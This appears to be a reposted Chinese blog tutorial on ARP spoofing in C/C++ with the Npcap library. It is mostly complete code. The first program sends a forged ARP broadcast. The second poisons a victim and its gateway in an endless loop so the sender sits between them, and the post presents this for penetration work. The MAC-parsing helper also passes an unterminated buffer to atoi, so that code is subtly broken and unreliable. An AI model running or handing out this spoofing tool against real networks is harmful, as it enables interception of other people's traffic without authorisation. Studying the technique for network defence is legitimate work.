C/C++ Npcap包實現ARP欺騙


npcap 是Nmap自帶的一個數據包處理工具,Nmap底層就是使用這個包進行收發包的,該庫,是可以進行二次開發的,不過使用C語言開發費勁,在進行滲透任務時,還是使用Python構建數據包高效,唯一的區別是使用Python的庫,可以節約我們尋找數據包結構的時間.

Npcap發送ARP數據包: 通過使用Npcap實現發送一個ARP廣播數據包,這里需要先構建數據包的結構,然后在發送出去.

#include <stdio.h>
#include <winsock2.h>
#include <Windows.h>
#include <pcap.h>

#pragma comment(lib, "packet.lib")
#pragma comment(lib, "wpcap.lib")
#pragma comment(lib,"WS2_32.lib")

#define ETH_ARP      0x0806   // 以太網幀類型表示后面數據的類型,對於ARP請求或應答來說,該字段的值為x0806
#define ARP_HARDWARE 1        // 硬件類型字段值為表示以太網地址
#define ETH_IP       0x0800   // 協議類型字段表示要映射的協議地址類型值為x0800表示IP地址
#define ARP_REQUEST  1        // ARP請求
#define ARP_RESPONSE 2        // ARP應答

//14字節以太網首部
struct EthernetHeader
{
	u_char DestMAC[6];    // 目的MAC地址6字節
	u_char SourMAC[6];    // 源MAC地址 6字節
	u_short EthType;      // 上一層協議類型,如0x0800代表上一層是IP協議,0x0806為arp  2字節
};

//28字節ARP幀結構
struct ArpHeader
{
	unsigned short hdType;    // 硬件類型
	unsigned short proType;   // 協議類型
	unsigned char hdSize;     // 硬件地址長度
	unsigned char proSize;    // 協議地址長度
	unsigned short op;        // 操作類型,ARP請求(1),ARP應答(2),RARP請求(3),RARP應答(4)。
	u_char smac[6];           // 源MAC地址
	u_char sip[4];            // 源IP地址
	u_char dmac[6];           // 目的MAC地址
	u_char dip[4];            // 目的IP地址
};

//定義整個arp報文包,總長度42字節
struct ArpPacket {
	EthernetHeader ed;
	ArpHeader ah;
};

// 獲取到指定網卡的句柄
pcap_t * OpenPcap(int nChoose)
{
	pcap_t *pcap_handle;   //打開網絡適配器,捕捉實例,是pcap_open返回的對象
	pcap_if_t *alldevs;
	char errbuf[PCAP_ERRBUF_SIZE];   //錯誤緩沖區,大小為256

	// 獲取到所有設備列表
	if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
		exit(0);
	// 找到指定的網卡設備
	for (int x = 0; x < nChoose - 1; ++x)
		alldevs = alldevs->next;

	if ((pcap_handle = pcap_open(alldevs->name,      // 設備名
		65536,                                       // 每個包長度
		PCAP_OPENFLAG_PROMISCUOUS,                   // 混雜模式
		1000,                                        // 讀取超時時間
		NULL,                                        // 遠程機器驗證
		errbuf                                       // 錯誤緩沖池
		)) == NULL)
	{
		pcap_freealldevs(alldevs);
		exit(0);
	}
	return pcap_handle;
}

int main(int argc, char *argv[])
{
	pcap_t *handle;            // 打開網絡適配器
	EthernetHeader eh;         // 定義以太網包頭
	ArpHeader ah;              // 定義ARP包頭

	unsigned char sendbuf[42]; // arp包結構大小42個字節
	unsigned char src_mac[6] = { 0xaa, 0xaa, 0xaa, 0xaa, 0xff, 0xff };
	unsigned char src_ip[4] = { 0x01, 0x02, 0x03, 0x04 };

	handle = OpenPcap(3);      // 拿到第三個網卡的句柄

	// 開始填充ARP包
	memset(eh.DestMAC, 0xff, 6);      // 以太網首部目的MAC地址,全為廣播地址
	memcpy(eh.SourMAC, src_mac, 6);   // 以太網首部源MAC地址
	memcpy(ah.smac, src_mac, 6);      // ARP字段源MAC地址
	memset(ah.dmac, 0xff, 6);         // ARP字段目的MAC地址
	memcpy(ah.sip, src_ip, 4);        // ARP字段源IP地址
	memset(ah.dip, 0x05, 4);          // ARP字段目的IP地址

	// 賦值MAC地址
	eh.EthType = htons(ETH_ARP);   //htons:將主機的無符號短整形數轉換成網絡字節順序
	ah.hdType = htons(ARP_HARDWARE);
	ah.proType = htons(ETH_IP);
	ah.hdSize = 6;
	ah.proSize = 4;
	ah.op = htons(ARP_REQUEST);

	// 構造一個ARP請求
	memset(sendbuf, 0, sizeof(sendbuf));            // ARP清零
	memcpy(sendbuf, &eh, sizeof(eh));               // 首先把eh以太網結構填充上
	memcpy(sendbuf + sizeof(eh), &ah, sizeof(ah));  // 接着在eh后面填充arp結構

	// 發送數據包
	if (pcap_sendpacket(handle, sendbuf, 42) == 0)
	{
		printf("發送ARP數據包成功! \n");
	}

	system("pause");
	return 0;
}

Npcap 實現ARP欺騙: 欺騙原理,告訴路由器,我是被害主機,告訴被害主機我是路由器,實現比較簡單,就是結構封裝看起來麻煩。

#include <stdio.h>
#include <winsock2.h>
#include <Windows.h>
#include <pcap.h>

#pragma comment(lib, "packet.lib")
#pragma comment(lib, "wpcap.lib")
#pragma comment(lib,"WS2_32.lib")

//arp應答/請求(28字節)
#define ARP_HARDWARE 0x0001  // arp_hrd:以太網
#define ARP_REQUEST 0x0001   // arp_op: 請求 request 
#define ARP_REPLY 0x0002     // arp_op: 應答 reply 

//作用:調整結構體的邊界對齊,讓其以一個字節對齊;
#pragma pack(push, 1)  //使結構體按1字節方式對齊

//以太網頭部(14字節)
#define EPT_IP 0x0800       // eh_type: IP 
#define EPT_ARP 0x0806      // eh_type: ARP 
#define EPT_RARP 0x8035     // eh_type: RARP

typedef struct eh_hdr
{
	UCHAR eh_dst[6];        // 接收方MAC地址 
	UCHAR eh_src[6];        // 發送方MAC地址 
	USHORT eh_type;         // 上層協議類型 
}EH_HEADR, *P_EH_HEADR;

typedef struct arp_hdr
{
	USHORT arp_hrd;          // 硬件類型 
	USHORT arp_pro;          // 協議類型 
	UCHAR  arp_hln;          // 硬件(MAC)地址長度 
	UCHAR  arp_pln;          // 協議(IP )地址長度 
	USHORT arp_op;           // 包類型:請求、應答
	UCHAR  arp_sha[6];       // 發送發硬件地址 (應答時,此處可欺騙)
	ULONG  arp_spa;          // 發送方協議地址 (應答時,此處可欺騙)
	UCHAR  arp_tha[6];       // 接收方硬件地址 (請求時,此處無用)
	ULONG  arp_tpa;          // 接收方協議地址 
}ARP_HEADR, *P_ARP_HEADR;

//ARP協議棧
typedef struct arp_Packet
{
	EH_HEADR ehhdr;
	ARP_HEADR arphdr;
} ARP_PACKET, *P_ARP_PACKET;

// 獲取到指定網卡的句柄
pcap_t * OpenPcap(int nChoose)
{
	pcap_t *pcap_handle;   //打開網絡適配器,捕捉實例,是pcap_open返回的對象
	pcap_if_t *alldevs;
	char errbuf[PCAP_ERRBUF_SIZE];   //錯誤緩沖區,大小為256

	// 獲取到所有設備列表
	if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
		exit(0);
	// 找到指定的網卡設備
	for (int x = 0; x < nChoose - 1; ++x)
		alldevs = alldevs->next;

	if ((pcap_handle = pcap_open(alldevs->name,      // 設備名
		65536,                                       // 每個包長度
		PCAP_OPENFLAG_PROMISCUOUS,                   // 混雜模式
		1000,                                        // 讀取超時時間
		NULL,                                        // 遠程機器驗證
		errbuf                                       // 錯誤緩沖池
		)) == NULL)
	{
		pcap_freealldevs(alldevs);
		exit(0);
	}
	return pcap_handle;
}

void ChangeMacAddr(char *p, UCHAR a[])      //把輸入的12字節的MAC字符串,轉變為6字節的16進制MAC地址
{
	char* p1 = NULL;
	int i = 0;
	int high, low;
	char temp[1];
	for (i = 0; i < 6; i++)
	{
		p1 = p + 1;
		switch (*p1) //計算低位的16進進制
		{
		case 'A': low = 10;        break;
		case 'B': low = 11;        break;
		case 'C': low = 12;        break;
		case 'D': low = 13;        break;
		case 'E': low = 14;        break;
		case 'F': low = 15;        break;
		default: temp[0] = *p1;
			low = atoi(temp); //如果為數字就直接轉變成對應的數值
		}

		switch (*p) //計算高位的16進制
		{
		case 'A': high = 10;       break;
		case 'B': high = 11;       break;
		case 'C': high = 12;       break;
		case 'D': high = 13;       break;
		case 'E': high = 14;       break;
		case 'F': high = 15;       break;
		default: temp[0] = *p;
			high = atoi(temp); //如果為數字就直接轉變成對應的數值
		}
		p += 2; //指針指向下一個X(高)X(低)字符串

		a[i] = high * 16 + low; //求和得16進制值
	}
}

void makeArpPacket(ARP_PACKET &ARPPacket, char * srcMac, char * srcIP, char * dstMac, char * dstIP)
{
	UCHAR MacAddr[6] = { 0 };

	//以太網頭
	ChangeMacAddr(dstMac, ARPPacket.ehhdr.eh_dst);   //目的MAC地址
	ChangeMacAddr(srcMac, ARPPacket.ehhdr.eh_src);   //源MAC地址。
	ARPPacket.ehhdr.eh_type = htons(EPT_ARP);        //數據類型ARP請求或應答

	//ARP頭                                     
	ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);  //硬件地址為0x0001表示以太網地址
	ARPPacket.arphdr.arp_pro = htons(EPT_IP);        //協議類型字段為0x0800表示IP地址
	ARPPacket.arphdr.arp_hln = 6;                    //硬件地址長度和協議地址長度分別指出硬件地址和協議地址的長度,
	ARPPacket.arphdr.arp_pln = 4;                    //以字節為單位。對於以太網上IP地址的ARP請求或應答來說,它們的值分別為6和4。
	ARPPacket.arphdr.arp_op = htons(ARP_REPLY);      //ARP請求值為1,ARP應答值為2,RARP請求值為3,RARP應答值為4
	ChangeMacAddr(srcMac, ARPPacket.arphdr.arp_sha); //發送方 源MAC地址(欺騙的MAC地址)
	ARPPacket.arphdr.arp_spa = inet_addr(srcIP);     //發送方 源IP地址 (欺騙的MAC地址)
	ChangeMacAddr(dstMac, ARPPacket.arphdr.arp_tha); //目標的MAC地址 
	ARPPacket.arphdr.arp_tpa = inet_addr(dstIP);     //目標的IP地址  
}

// 發送ARP數據包
void sendArpPacket(pcap_t * fp, ARP_PACKET &ARPPacket)
{
	if (pcap_sendpacket(fp,(const u_char *)&ARPPacket,sizeof(ARPPacket)) != 0)
		return;
}

int main(int argc, char *argv[])
{
	pcap_t *handle;      // 打開網絡適配器
	EH_HEADR eh;         // 定義以太網包頭
	ARP_HEADR ah;        // 定義ARP包頭

	// 打開第三張網卡,並拿到該網卡的句柄
	handle = OpenPcap(3);

	// 填充數據包
	ARP_PACKET ARPPacket_A = { 0 }; //arp包 欺騙目標
	ARP_PACKET ARPPacket_B = { 0 }; //arp包 欺騙網關


	//欺騙受害者,我是網關 (原MAC地址/原IP地址 --> 目標MAC地址/目標IP地址)
	makeArpPacket(ARPPacket_A, "000000000000", "192.168.1.1", "c89cdcad3a39", "192.168.1.10");
	//欺騙網關,我是受害者 (原MAC地址/原IP地址 --> 目標MAC地址/目標IP地址)
	makeArpPacket(ARPPacket_B, "c89cdcad3a39", "192.168.1.10", "000000000000", "192.168.1.1");

	while (true)
	{
		//3.發送數據包
		sendArpPacket(handle, ARPPacket_A);
		sendArpPacket(handle, ARPPacket_B);
		printf("send OK ! \n");
		Sleep(3000);
	}
	
	pcap_close(handle);
	system("pause");
	return 0;
}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM